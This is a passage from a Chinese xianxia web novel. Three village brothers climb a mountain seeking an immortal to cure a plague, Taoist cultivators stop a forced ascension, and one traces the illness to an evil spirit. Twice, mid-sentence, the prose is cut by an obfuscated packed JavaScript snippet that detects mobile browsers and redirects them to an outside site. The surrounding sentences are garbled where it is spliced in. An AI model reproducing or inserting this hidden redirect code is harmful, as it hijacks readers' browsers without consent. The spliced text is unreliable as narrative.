三人脸上一阵青一阵白,片刻,没了一丁点血色。 小庄惊恐道:“鬼节…” 左侧男子笑了笑,片刻功夫,便和右侧冷面男子恭恭敬敬地双手奉上东西,背对三人,站在神台前。 他温声继续道:“中元地官神诞,理当献香。” 二人俯身三拜,便把手中的东西放在了神台上。 右侧冷面男子,顺手用火折子点燃引火烛,两人再一起头身未转未移,碎步退回了神台前的蒲团后。 左侧男子,轻轻唤道:“甘歌,准备吧。” 甘歌道:“他们呢?” 左侧男子温温柔柔道:“留下。” 留下… 两字轻巧,落在庄氏兄弟三人耳朵里,却和‘杀了’的意思,并无二异。 三人眼睛惊恐睁大。 甘歌却道:“凉离,你自己来。” 凉离无奈浅笑道:“好吧。” 二人一直没回头,背对庄氏兄弟三人,浅声讨论如何处置他们。 声音不大,但神殿空旷,每一字,每一语,都落进了后方三人耳朵里。 甘歌十指掐咒,凉离双手捏诀,金光乍起,神殿大门“砰”地一声关上了。 那三人准备转身离去,才发现脚下跟黏住了似的,身子扭转不动,脚也挪不动,甚至连他们的手也没法自由行动。 突来的变故,让小庄眼睛里流不出半分泪水,他僵硬地绷紧身子,嘴里干巴巴地呜呜作响。 大庄心里发怵,嘴上不敢张狂,低声道:“真是出门没看黄历。” 还好,他们的嘴还能动… 二庄咬紧牙关,心中一横,直白道:“二位道长是要活祭?” “杀我们敬神?” 甘歌冷哼未语,还是凉离笑容迭起,解释道:“神诞敬香,不可随意回头回身,既然你们来了,入了神殿门,需得上一炷香再离去。” 顿了顿,凉离思索道:“这是为你们好,若是你们不想忤逆神明,横死在这山中的话,乖乖听话。” 听不听话,还能由他们三人自己做主吗? 全身上下,除了脑子和嘴能动,他们身上连一根头发丝,都像是为人牵了线,做成了木偶机巧。 二庄低沉道:“多谢道长,道长所言有理,我们应当敬完神再离开,可…这神殿并无神像。” 甘歌冷冷道:“莽夫,眼瞎。” 凉离手指轻抬,三人脑袋也跟着微微上仰。 他们看见神像了… 神台案桌后,那面红墙上,有一副金像,正是三官神像。 凉离道:“你们作何一直要上山?” 他们身子被操控了,没成想心也像是由人控制住了,大庄脱口而出道:“自然是上山为匪。” 这话非假话,是由心而出。 瞎了一只眼睛的大庄,先前是村道上的一个过路劫匪。 他从始至终都没忘了盗匪的身份,所以刚才凉离一问,对于有人的地盘来说,他便自称为盗匪。 凉离未怒,情绪一如既往地柔和,道:“不是来上山烧香吗?不对不对,应该是上山修炼才对?诓了宋世平给你们用神池水,这灵气应当该消耗得差不多了吧,你们还有力气据山为匪?可是,你们是不是选错了地儿了?这山头连路都没有,你们上山劫匪谁呢?” 二庄蹙眉道:“道长慈悲,我大哥先前的确是占道做匪,可他已经改过自新了,我们三人是诚心上山,非有意闯入。” 那厢,甘歌突然道:“他们的时辰到了。” 凉离敛了笑容,神情十分庄重,食指一掐,让后面三人都闭了嘴。 他道:“烧香,敬神。记住心意诚然。” 三人脚下先后迈动,各自从案桌上常放的香盘里拿起三柱线香,在引火烛上点燃,左右摆动,泯灭了香头明火,三人碎步后退,并排站在神像面前,双手举起,与额齐平,躬身敬礼,左手献上香火后,叩拜在地。 霎时,三人身上松软,行动恢复自由。 三人猛地回过神来,刚刚发生的一切,一幕幕逐渐涌入脑中。 二庄带头,三人连滚带爬,慌里慌张地推开神殿大门,跌跌撞撞地跑走了。 神殿内,凉离手上一动,三人留在地上的一堆垃圾,飞的一下,全凌空扔出了神殿外,随即,殿门又被关上了。 甘歌喃喃道:“放他们在山里乱窜,会不会不太好。” 凉离笑了笑,道:“怎么会,乐正在外间,他们不会出意外,你无需担心。” 甘歌羞赧道:“我不是担心他们安危。” 凉离一副“我知道、我了解、我都清楚”的神情,改口道:“他们也没机会捣乱。” 甘歌淡淡地道:“嗯。” 凉离道:“可到时辰了?” 甘歌手指掐算,道:“可以献香了。” 他们二人和方才那三人献香的方式大为不同,刚刚那三人的举动,只是寻常信徒所行的焚香。 而他们两,作为主持这场地官神诞之人,自然应当拈香。 二人同起手诀,将身上的常服换成了礼教道袍,头上还挽了发,戴了帽,以示尊重。 接着,凉离才在甘歌的从旁辅佐下,从盘中捧出三足香炉放于神台案桌之上,用香匕,在香灰挖出一个小坑,埋入迦南香粉,抹平抚匀,浅浅盖上一层香灰后,他用左手点燃一寸香,先中、次左、后右插入香面上,嘴里喃喃咒念道:“道由心学,心假香传。香焚玉炉,心寸帝前。真灵下盼,仙旆临轩。令臣关告,径达九天。” 拈香讫,凉离和甘歌后退回蒲团后,跪垫,一起行三礼九叩。 迦南香燃,云烟缭缭,香气四溢,如糖浆,如花香,如瓜味,如果香,如蜜香。 潺潺似水,萦绕道观,飞入山间… 那三人跑着跑着,便被这股香气吸引,不自觉安下了心来,步伐也不再急促。 小庄经此一历,竟胆子大了两分,望向那隐约可见的山顶,问道:“大庄、二庄…我们还继续吗?” 大庄嘴唇习惯性地撅了撅,想要吐东西,半天都没挤出点什么,干干地道:“来都来了,说什么也要带点东西回去…” 二庄点头道:“那神殿里全是好东西,我们避着点山里的道士,应该是能找到好东西带回去。” 小庄道:“今天是鬼节…” 大庄道:“怕什么,他娘的不是方才拜了神吗?你…你不要怕,我们找到了,就立即下山。” 小庄点头道:“哦…” 他眼睛却紧紧盯着二庄。 二庄拍了拍小庄肩膀,安慰道:“大庄说的没错,小庄你莫要忘了山下…莫要忘了这三个包袱。我们既然都走到这里了,自然是要带东西回去的,也应当找到我们必须找到的。” 三人背上空空… 半人大的包袱早已不在三人背上。 大庄反手在背上摸索,道:“包袱!!” 小庄也反应过来,看了看其他两人的背后,伤心道:“包袱忘在方才那地儿了。” 大庄道:“一路上都没舍得用,就这么留给他们了?” 二庄沉思了一会儿,盘算道:“寻到东西后,我们可以趁天黑下山,偷偷去看看能不能找回来。” 小庄诧异道:“我们还要去那道观啊。” 二庄点头,道:“嗯,若是能带走一两样金碟玉盘,就最好不过了。” 大庄叹气一声,道:“这事还真没当土匪松快,算了算了,我们先继续往上走吧。” 二庄、小庄纷纷“嗯”道,三人便一起朝山顶走去。 爬了一会儿,三人没曾想到,山中除了险境,竟还有如斯美景。 云海在脚下,朝日在身旁,美人在眼前… 等等!!! 美人!!仙女??? 不对… 小庄胡子吹起,再一次大叫道:“鬼啊!这次还是一个女鬼。” 喊完以后,小庄因为看得痴了,竟忘了躲到大庄身后,而是愣在原地,由心感叹道:“这女鬼好美啊。” 云海边际,巨石之上,那美人迎光而立,肌肤若雪,白腻如脂,一身白衣在清风中浮动,腰间那一抹艳红软纱起舞于衣衫中,神清骨秀,风姿绰约。 那美人被小庄声音惊扰,回了头,额上挂的晶石,映射出刺眼的光,让上山的三人睁不开眼。 他们放下遮挡的手,再看过去时,那美人凌空踏步,已离他们只剩两三丈远。 艳丽绝伦,眉眼清冷,端严肃穆。 天人之容美则美矣,却让人望而想远之,三人根本不敢动宵小之心。 那美人,似乎是个不好说话的人,葳蕤指尖,金光流转,一把利剑握于手中,缓缓抬起,指向了山道上三人。 美人抬眼正视,道:“你们是何人?上山做何?如何找到此地的?” 又一把利器指在了二庄面前,可还没等二庄回答,山顶猛然爆发出一束金光,山中鸟兽奔走,啼鸣不断,祥瑞福象尽显。 随即,两抹礼教道袍的身影飞速从四人面前掠过。 先前在神殿内,那温润的声音在山道上盘桓,道:“乐正,上山,路了绿临境了。” 还有一道冷冷的声音,补充道:“隗晎未回,怀晓未至,你速速跟上。” 没错,从山道上急剧上行的两人,正是刚在神殿里献香礼毕的凉离和甘歌二人。 而这方的美人,也是和他们一起的,全名叫乐正词媿。 乐正词媿眉心轻跳,道:“真是会赶时候。” 她收了剑,斜睨了山道上的三人一眼,双手捏诀,瞬间从此间消失了。 大庄喃喃道:“她走了…” 小庄目光看向二庄,询问道:“我们也要上去吗?” 二庄心中计量,面上喜悦道:“异象你们看见了吗?” 大庄和小庄都点了点头。 二庄眼含期待,注视远方山顶,语气坚定道:“飞鸟起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561833|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走兽奔,金光现,仙君至。真给我们找到了…” 他紧了紧手指,双手握拳,振奋道:“上山!” 山顶上,颈戴金锁项圈,窄袖红衣的少年,盘坐在一个石台上。 他双眼紧闭,身上极其不稳定地散出一阵又一阵的金光,激荡入山林间,惹得生灵群起奔走。 那金光好像有灵气一般,所到之地,枯木逢春,小苗茁壮,花蕊盛放。 沿着石台周边,一位额间束银珠抹额,身着宝蓝锦服的少年,不知所措地来回踱步,他面色焦灼,双手不停地在手中掐诀,让一道又一道的语信飞向山下。 十几封信诀送了出去,少年担忧地看着石台中间的人,抿唇唤道:“路了绿,你再撑一撑,他们马上就到了…千万不要此时飞了,一定要坚持住。” 路了绿身上出现的奇异景象,正是凡人飞升成仙的兆头。 此时,只要金光上达天听,雷部司职仙君引出雷霆电火,助他渡劫,路了绿就可以生出神格,成为上仙。 可…路了绿胸前掐的手决,却是一道抑制身法临境的降术咒,是以金光直飞冲天一瞬后,便悄然向四周散去。 而飞升道法的厉害,不是路了绿一人就能控制的。 眼看他周围的金光,越起越高,越散越浓,三人从天而降,施诀起咒,替他挡下了一侧金光。 然而,四方阵法,三人却只能压下一处。 凉离分神朝石台旁唯一空闲的少年,浅笑问道:“珪珖,可尽数通知其他人了?” 珪珖道:“你们来之前,我就送去信诀了。” 乐正词媿瞧见其他三面越散越快的金光,无奈道:“可给隗晎也去信了。” 珪珖答道:“送了。” 甘歌急促道:“怀晓呢?” 地上,“哐哐哐”三声,破断金光,尘土四起,一刀一剑一木枝插在了石台一方,而其后,分别落下一男子,手上起了同样阵法。 尘烟消下去,三人身影和那一刀一剑一木枝浮现而出,乐正词媿犀利道:“还算来的及时。” 杨战息不满道:“不就是你临境时,我们来迟让你吃了些苦头嘛,乐正你怎么记这么久。” 乐正词媿冷眼扫去。 宋世平劝道:“少说两句,上次的确是我们的疏忽,若不是隗晎及时赶到,乐正就该破镜了。” 杨战息无奈哼哼道:“嗯嗯嗯,我知道了,我的错还不行吗?我闭嘴行了吧。” 来了许久,居然没有人搭理这根又直又长的木枝主人,南泥自言自语道:“哎…我寻了这么一方宝贝,怎么就没人问问我呢?” 凉离笑道:“你倒是心态稳。” 南泥顾左言他,道:“怀晓最多两声便能到,我为何要担心。还不如多聊一聊我的宝贝,我今日早晨走在道上,它呀…就倒了下来,绊住了我的脚,哭着求着让我带它走。我这人就是见不得别人说好话,耳根子软,当即化指为刀,从根上把它整个都带来了。” 说好闭嘴不言的杨战息,鼻头一耸,道:“昨日那根柳枝你也是这样说的,我就不知道了,你为何非得找一东西做武器呢。” 南泥眼中狡黠,道:“我也不想啊,这不手中差一根趁手的,手痒痒,就得四处寻一寻,看谁够明智,能让我日后带它去天上呢。” 顿了顿,南泥打趣道:“杨战息,或者…你把你的长刀抹了气息送我?” 杨战息斩钉截铁道:“不行!!痴心妄想!!!” 南泥撅嘴道:“或者,你把你哥宋世平的剑偷偷抹了气息,送我?你知道的,他那宝贝银剑,除了你能拿到手,我们都碰不得…” 杨战息沉声道:“休想…我就知道你打宋世平银剑的主意。你就是眼红我二人有趁手的兵器,才日日捡一些破烂货,拿到我们面前编排。” 南泥吐槽道:“小气。” 凉离眉眼一挑,看向还剩两处的金光,再一次询问旁边焦急踱步的少年,道:“珪珖,你再去一个信诀催一催怀晓。” “不用催了,珪光你省着点法力。” 一女子俏皮的声音响起,伴随而来,是蓝白道袍出现在石台之上。 怀晓站在石台上,道:“金光散得太多了,小音你也入阵。” 溪亖音应道:“是。” 说完,几人重新变换位置,将四散的金光以阵法围住,而怀晓在石台上帮路了绿一起压境。 慢慢地,奇异之象渐渐弱了下去… 众人大松一口气。 那方,刚到山顶的六名小道人,却看见不知何时出现在山顶的面熟之人,连连惊呼: “啊,怎么是你们…” “你们怎么在这儿?” “何时跑到内山来的?” “断崖是如何攀附渡过?” “寻到此处是要做什么?” “糟了糟了…” “完了完了…” “惨了…” “…” “…” 47. 三莽汉上山下山6 庄氏兄弟三人也没想到,居然这两日在山里遇见的人,此刻,都齐聚在此。 三人看见石台中浑身冒金光的路了绿后,齐齐滑跪在地,神思瞬失,目光涣散。三人身上一股非常人能感知的力道,让他们的额头重重磕在地上,力量十足,那一磕,三人额上均鲜血四溢,浸入地上,顺沿石土,直往大石之中飞速移去。 见状,怀晓难得面容失色,大喊道:“拦下三人!他们身上‘人力’汹涌,不得让路了绿受了祈拜!” 乐正词媿道:“‘人力’?” 南泥不可置信道:“三人看着不像啊…” 凉离收敛笑容,迟疑道:“他们身上竟然还有‘人力’…” 大石中金光复现,杨战息和溪亖音惊呼道:“路了绿!” 可是叩拜礼成,再阻拦,是来不及了。 珪珖和其他六人刚走到三人身边,便被一堵无形的墙,挡了去路。 “人力”生效。 地上三人就仿若未察觉到额头上流下的血液,和脸上糊染的尘土,木木愣愣,像先前在神殿中,凉离困住了他们手脚的那副模样,身不由己,行不由心,他们再度神似一个木偶,身姿僵硬。 片刻,他们抬起身子,又重重地在地上磕响了一头。 鲜血溢出… 大石上,金光震起,路了绿没了意识,胸前掐诀的手,缓缓地垂了下去。 怀晓等人被金光震倒在地,路了绿也由那四起的金光,将身体托了起来,腾至半空。 只要地上三人再行最后一拜,完成敬神明的三叩礼,路了绿即便没度雷劫,也会因为‘人力’,先飞肉身上天。 起初,他们修炼时,最先有飞升之象的是隗晎。他临境破肉身飞升之际,才得知消息,一处洞天福地,万年间,雷部基本只会为其引一次渡劫雷,若是有人飞升了,此地还想再飞升,除了修为要比上一人更厉害,还需得再等上万年。 十七人哪里等得起这么久… 隗晎不得不寻了压制修为的阵法。 因为他的目标,和他们十七人的心愿,都是一起飞升上天。 眼下,路了绿即将飞升。 他们十七人,几千年的辛苦,就要付诸东流了。 正在此时,地上叩拜的三人和连着他们脚下的石土,一股力量将他们强拉了起来。他们叩拜的动作,生生地停住了。而那飞至半空的路了绿,则周身金光彻底散去。 只见一道青色身影闪现在路了绿背后,双手将其打横抱起,徐徐落在了山顶石台上。 白鹿皮靴,青衣长袍,束腰玉带,晶石银冠,比起地上横七竖八的其他人,他眼中不见一丝慌张,不焦不急,在石台上站稳,缓缓地,躬身把怀中的人稳稳放在了石台上。 午时阳光下,石台上的他,脸颊轮廓异常分明,肤白唇淡,有一些清瘦,但模样却是恰到好处的俊美。 他将皮囊特意修炼至二十一二左右,便止了外貌的变化。 身材修长高大,宽肩窄腰,和其他人比起来,他既保留了少年的清澈,又得了青年的沉稳。 仔细看去,眼角下还有一颗泪痣,睫羽扑扇,盛了日光的眼,显得分外多情。 瞧着像是沉入爱河的少年郎。 可神情却是十分肃然。 他站起身来,望向一旁已经整理好衣襟的怀晓,淡淡地道:“他没事。” 怀晓点了点头,“嗯”了一声,瞟了眼锁在空中的三人和那堆带血的石土,问道:“隗七,这几人怎么处理?” 隗晎答非所问,道:“他们身上有百人‘愿力’。” 怀晓震惊,道:“那‘人力’居然是‘愿力’!” ‘愿力’,顾名思义,便是他人许愿种下的力。 他初见三人时,只瞧出那瞎了一只眼的大庄身上,有些恶欲生出的言念之力,没想到三人身上还背负上百人的心愿之力。 停顿片刻,他继续道:“他们三人朝向路了绿,已经叩下两拜。” 隗晎颔首,望向空中三人,和那一份带血的石土,思索道:“是有些棘手。” 须臾,他抬起左手,右手捏诀,撩起遮住半只手掌的大袖,漏出小臂和手掌。 小臂上有一副银制臂钏,上面只有几条沟痕,并无花纹,从臂钏上延出一条细细长长的银链,那银链仿若粘刻在他的小臂上,一直到手腕和手背,紧致贴肤,好似一体而生。 细长而骨节分明的手指,对远处的三人勾了勾,那三人和那堆带血的石土便到了他的跟前。 隗晎在面前的人和石土中寻了半天,终于找到隐在石土里的红血。 确定位置后,他把手伸了出去,穿过结界,越过‘人力’,那血似乎闻到了‘仙家味’,毫不迟疑顺他手指攀附,绕上了那条银链,而他小臂、手腕和手背,红血竟在银链上的流动,开出了一簇又一簇的小花。 不稍一会儿,那小花定了型。 隗晎诚然道:“但也还能解决。我来承愿吧。” 说得轻巧,事情却不简单。 承愿… 他要以凡人之躯,施神明之恩,成他人心中之事。 怀晓不免有些担忧,嘱咐道:“小心。” 这哪里还能事事由己。 此话一出后,其他人都静默地守在一旁,紧张地观察石台前方的动静,丝毫不敢轻视即将要发生的事,连一贯浪荡不羁的南泥,也敛了神情,严阵以待。 溪亖音更是双手抱拳在胸前,一副凡人祈祷模样,呢喃唤道:“小晎哥哥,你可一定要成啊。” 隗晎右手也动了起来,大袖挥挥,把三人身下的石土摘了出来,扔到了几丈之外。 他脚步移动,直接走下石台,并把三人放了下来。 三人落地,僵硬住的第三拜,瞬间磕下。 同时,隗晎双手捏诀,口中咒起,在他和庄氏三兄弟所站的地方,倏地拉起一个结界。 本来顺地上石土的第三拜血迹要冲向石台,涌向路了绿,却因为穿不过结界,在里面打转了一圈,最终,寻到了隗晎左手上的血气,急奔而上。 隗晎闷哼一声,胸口微震,应下了三人的‘愿力’。 他长舒一口气后,问道:“你们是何人?” 随着隗晎的话音落下,如同定身了的庄氏三兄弟,先后回了神,纷纷抬起头,跪坐在地,虚弱无力地左右打量。 看见大庄和二庄脸上的血迹泥土,周围又站了这么多人,小庄嘴唇颤抖道:“流血了…大庄、二庄,你们都流血了,发生什么事了?我们不是在拜仙君吗?” 大庄眉头紧拧,望了一眼面前高高站立的隗晎,眼神闪躲道:“不知道…你若是害怕了,就往我们身边靠靠。” 他伸出一只手到小庄面前,小庄顺势把那只手抱在了怀里。 还是二庄心如明镜,瞥见隗晎身后的那名红衣‘仙君’在地上沉睡,而面前的青衣隗晎,左手发光,身上威严肃穆,瞧了让人有一种诚服的心,他便猜了个大概,心中计算道:寻到了,此人应该是非常人。 二庄拿袖子擦干净脸面,端跪在隗晎面前,道:“泰山脚下仁义村,庄氏异性三兄弟,特此,上山寻仙。” 隗晎否认道:“我非仙,但你们带上山的心愿可以告知于我,我会为你们解愿。” 非仙? 怎么会这样… 山中所生福相,红衣仙人周身遍布金光,怎么会不是仙。 二庄跌坐了回去,垂头丧气,面上生机顿失。 凡人就是这般,听别人的话,只会择其中无伤大雅的事实,愚蒙固执,封心自耗。 隗晎见怪不怪,极其有耐心,重新又讲了一遍,道:“我虽非仙…” 他视线在地上三人流转一遍后,举起了左手,又捏诀撩开了青色大袖,在三人望向他手上发出血红光芒的小花时,肯定地道:“但你们带上山的心愿可以告知于我,我会为你们解愿。” 隗晎特意在“解愿”二字上咬了重音。 大庄和小庄脸上未擦的血迹,悉数变成血气,飞向隗晎手臂上的那些红色小花。 目睹此状,地上三人,眼中希望重回,精神也振奋了起来。 见状,隗晎才将左手放了下去。 然而,三人却不知,他手腕上的小花,不是什么神迹,也不是什么法阵。那是在地下做鬼时,第五茗醉得厉害了,误用混了阳酒的墨汁,在他手上做下的小画。 后续得了人身,他法力流转时,这一簇簇小花,就会在手臂上和手背上开起来。 因第五茗不太擅长作画,那日在他身上画的,是稚童初握笔时最喜欢囫囵画的五瓣小花。 只有小花在手臂上,叫人瞧见,难免尴尬… 一次,在可韩中司的仙府,为其猎杀精怪,打扫庭院,隗晎不小心把小花漏了出来,其间仙君纷纷嘲讽,隗晎面红耳燥,还是仙府上的真君心细,赠了他一根浮肌银链,才叫小花隐入肌肤之下,后续只会因施法解法时显露,同时也变成了他身上一种及其妖异的光纹。 浮肌银链算是一件仙家宝物,可以施法引法,承载一些非常之力——如法力,人力,业力等。 这东西却有一个不方便之处,它施法引发时,需要银链触及那东西才行。 浮肌银链只有十寸长,刚从隗晎手臂上遮掩到了他手背上的小花,就没有多余的链子缠绕到指端。 是以,方才隗晎会先撩起大袖,再接收‘愿力’。 隗晎正色道:“百人心愿是什么?道出与我听吧。” 二庄脸上疤痕狰狞,眼里却欣喜道:“多谢仙者。” 二庄本名庄新生,他和其他两人不一样,并不是仁义村的村民,而是城里一位富绅家的教书先生。 五年半前,他与富绅一家出游,遭遇盗匪,富绅全家丧了命,而他脸上和身上也都受了数刀,险险地在山里待了数日,拼命跑出来才保下了一条命。 庄新生路过仁义村外的那条山路时,正巧撞见村霸大庄手持一根粗棍,打劫小庄手里的一个白面馒头。 他刚虎口脱险,又再度见到这种事,心里愤然,加上浑身伤口溃烂,发烧有些迷糊,便从路上捡了一块石头,拖起孱弱的身体,冲向大庄,嘴里并呐喊,让小庄快跑。 因庄新生伤得实在厉害,他刚跑到两人面前,就跪了下去,石头砸在大庄脚面,一头撞向大庄手里的粗棍,昏死了过去。 庄新生以为自己死定了,他还以为那被抢白面馒头的小庄也死定了。 没想到,当他悠悠醒转来时,睁开眼看见的便是那天昏睡倒下前,最后瞧见的两张脸——大庄瞎了一只眼的糙汉脸,和小庄胡子拉碴不休边幅的邋遢脸。 庄新生昏迷的时候,他们两人把那只白面馒头放在热水里碾碎了,全部喂给了他,还替他剜了腐肉,包扎好了伤口。 后来,在大庄和小庄,以及仁义村村民的接济下,庄新生慢慢养好了伤,也终于弄清楚了那日眼前所见的事。 仁义村虽在泰山脚下,却因为村子在山的背后,交通不便利,气候不佳,土地不够肥沃,所以村子里很是贫穷拮据,一般家庭都只能吃上点粟豆,很少有大米精面。 那日,小庄恰巧在山里打到了一只山货,拿到镇上卖的时候,那买主分了一只白面馒头给小庄。小庄回村后,逢遇村里人,就要把白面馒头拿出来向别人炫耀,没料到,小庄走到大庄面前时,没收住势头,把馒头在大庄面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567399|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前也扬了扬,还嚣张地挑衅了一番。 小庄是村里出了名的胆小鬼,平日里只要吓一吓,便会乖乖听话,那日却好死不死在大庄面前耀武扬威了一回。 大庄以前是山上土匪窝里给别人洗衣做饭的杂役,在山上时,就经常受欺负,自从伤了眼睛,被赶下山后,他就没吃过白面馒头。 结果,小庄把好东西送到了大庄面前。 大庄刚捡起粗棍,准备将耻辱还回去,顺带把那只白面馒头一并打劫走,粗鲁的话都没吼出口,庄新生就一头撞在了他的木棍上,昏死过去,同时,一块石头砸在大庄脚上,让大庄下意识疼叫,并朝地上人踹了数脚。 庄新生没有反抗,小庄吓傻了,大庄以为几脚踹死了一个人。 两人心里都慌,忘了先前恩怨,一起查看地上浑身是伤,半死不活的庄新生。 大庄和小庄把人抬起来的时候,清晰地听见庄新生肚子传出一阵咕咕声。 好家伙,这是不是饿晕了? 大庄和小庄怀着这种心思,犹豫间,已把庄新生带回了大庄的破茅屋。 仁义村以村民心善得名,连大庄也是菩萨心,别看他曾在山上与盗匪为伍,他不过是为了一口吃食,上山干些体力活,倒是从未做过伤天害理的事。大庄那只瞎眼,还是因为他不忍只打劫、不害人的盗匪被官府残害,在帮助盗匪们逃命时,遭官府不问黑白,胡乱一棒子打瞎的。 二人把庄新生带回了村子,就没打算置之不理。 两人替他擦洗身体的时候,才发现庄新生身上大大小小的伤,都是盗匪们惯挥砍的大刀导致的。大庄曾为盗匪做过打杂,所以看见庄新生的这一身伤时,顺其自然就算在了自己身上。他和小庄商量后,二人都决定救下庄新生。 庄新生慢慢地在仁义村住了下来,这村子里缺读书识字的人,他便做了村子里的私塾先生,教村里的小孩读书,有些好奇的大人,比如大庄和二庄,他们也会来庄新生那简易的棚子里,打着瞌睡听一堂课。 有一次,庄新生讲了桃园三结义,大庄和二庄又正好没打瞌睡,二人听得性质浓厚,下课时,拉了庄新生一起对山头跪拜结亲。 至此,三人成了仁义村异父异母的亲兄弟,一起相依为命。 某一日,村子里相继发生了一件怪事,村民一个一个的先是咳嗽,后来咯痰,最后吐血,瘫软在床。见多识广的庄新生一眼便看出来了,这是一场疫病,若是不及时医治,整个村子都会没了。 村里还没感染的村民开始外出寻医,可外面大夫诊治的结果,却出奇的一致。 村外的大夫都道:仁义村村民的脉象正常,除了这些症状,身体探不出任何异常。 没多久,村子里的劳动力都倒在了床上。 没有劳作,土里便没有收成,村子里的生活变得更加拮据,直到庄氏兄弟三人中,大庄的身上也开始出现了这种症状,庄新生和小庄心里也跟着彻底慌了。 和村里其他人一样,他们寻医问药,皆没有结果。 庄新生把心一横,跑到镇上药店里,死皮赖脸地借阅书籍。 他打算自学成医,为仁义村诊治。 最后,医术没让他学成,倒是让他这奉行圣贤的先生,信了鬼神之说。 他拿着那本在医馆里借到的《三宫九府仙纂录》,头脑发热地与仁义村村民协商,死马当作活马医,凑了东西,由他们三人跋山涉水,到千里外三宫九府所在的山群,去登顶寻那可救万灵的金光仙君。 庄新生口齿干渴道:“事情的经过大体就是这般。仁义村七百人,只有我们三人还有脚力能走到这里。” 见隗晎蹙眉,他也跟着皱了皱眉头,继续道:“我们三人身负六百九十七人的性命,身担他们的希望,所以上山也好,断崖也罢,见鬼神也无所谓,只要能救命,救一村人的性命,我们三人可以无所畏惧。” 隗晎不语,他哀求道:“仙者,我们只有这一条路了,再寻不到法子救他们,就算不被病痛折磨死,仁义村近七百人也会活活饿死…来这里,也只是想赌一把,赌回仁义村的命,求仙者救救我们吧。” 说完,庄新生深深磕下一头,与先前‘人力’所作用的三叩礼相比,这一拜更显诚意。 是他独自一人,发自内心的祈祷。 隗晎指向瞎了一只眼的大庄,询问道:“你说他也出现了那奇异症状?” 大庄点了点头,小庄紧张地看着隗晎也点了点头。 庄新生抬头起身,回答道:“是的,大庄喉咙间生了郁痰,再有不到十日,便该是咯血的症状了。” 隗晎解掉了四周设下的结界,朝一旁观望的那群人中,唤道:“珪光,你过来给他把脉。” 珪光听话地走到这边,替大庄把了脉,还顺带望闻问切地诊断了一番。 他站起身来,将知道的结果报给了隗晎,道:“此人脉象一切正常,身体上也没看出有什么大的病症。” 三人身上背的愿力还没有彻底化解,隗晎点头道:“嗯,珪光…你退后离他们远一点,既不是病症,就该考虑妖邪了。” 珪光应道:“是。” 他退回了众人所在的安全位置。 隗晎手指一勾,大庄身体顺势站了起来,走了两步,到了隗晎面前。 他也如珪光一样,搭指在大庄腕间,只不过珪光是探脉,他却是在大庄身上找寻什么东西,两人肌肤相触的地方,金光闪现,好一会儿,那金光才从大庄身体里拖出一丝黑气。 那黑气,很淡很淡,仿佛被洗涤过一样,轻飘飘的,看起来像是一捏就会碎。 隗晎盯向手掌中,那团方才从大庄身体里抽出的东西,喃喃道:“是邪祟…” 48. 三莽汉上山下山7 隗晎低头,向地上依旧端跪的庄新生问去,道:“和以往相比,村里最近可有人行过什么不寻常的事?或者疫病之前,村子里出过什么事?” 庄新生仔细回忆道:“我来村子后,一切都挺正常。他们都是老老实实的山民,也都本本分分,村子里没有什么奇异的事发生。” 一旁的小庄帮忙细细回忆,嘀咕道:“倒是和往常一样…大家都种种田,打打猎,没什么特别的事。” 顿然,小庄看向庄新生,道:“若真说有什么和以前不一样,那便是二庄来了以后,大家除了干活,便是在二庄的棚子里凑热闹,闲暇时,会和孩童一起读书认字。” 隗晎道:“读书认字…这种事倒是起不了邪祟。” 但,若是认真了,或是,村里因此改了命数,也是有可能招来祸端和天罚。 想了片刻,隗晎继续问道:“这一年多里,可有在村里迎神,或是大肆祭拜?” 小庄摇头道:“没有…村里不兴那东西。” 大庄也摇了摇头。 庄新生眉头紧蹙,眼睛惊恐瞪大,身体紧绷,微微左右晃荡,嘴唇颤抖道:“…有…有的…” 他抬起头,有些不知所措,十分后怕道:“我那…授课的棚板上有一副小像,是…是我画的文曲星君像。在仁义村里授业几年,有几个孩童还算勤奋,学有所成。恰巧,一年多以前,我在镇上买纸墨笔砚时,听了修行道士所劝,买了他们供香火的宣纸,请了文曲星君来,希望他能佑几人入仕,助仁义村脱离此境…” 小庄诧异,道:“那小像是仙君像吗?我还当是什么画…他们下课后,总喜欢去临摹你那张小像玩…会不会也是这个原因呢?” 小庄想起以前在棚子里看见的事,望向隗晎,问道:“仙者,你觉得会是这个原因吗?” 隗晎道:“都有可能。” 可也不全然是。 神明虽好脸面,但对凡人尤为宽容,玩笑不过火,按理说都会睁一只眼闭一只眼。 更何况还是一副纸像… 应当是还有其他原因并存。 他向庄新生问道:“你画的仙君像,除开普通墨汁外,可还用了其他东西?” 庄新生道:“玉袍和头冠涂了朱砂粉。” 大庄站在一旁,木楞道:“若是加了鸡血,会不会坏事?” 隗晎道:“倒是也有影响。” 大庄喃喃道:“朱砂是红的,鸡血也是红的,以前在山里,山匪喜欢在朱砂粉里加鸡血,说是能辟邪。” 隗晎道:“鸡血正气足,山匪用来图画,的确能避精怪小鬼。” 庄新生自责道:“这样想来,多半还是因为我胡乱为村里请了神…” 小庄争辩道:“二庄,仙者都说了,他们随意临摹神像,不敬神像,也可能是这个原因,不怪你的,你是为我们村好,若是他们几个能做上官大爷,我们村不就有好多精面可以吃了吗?” 大庄吼道:“好了,不用争了,都怪我,没事他娘的捡了土匪的习惯回来…都是我的错。” 庄新生道:“不是的,错都在我。” 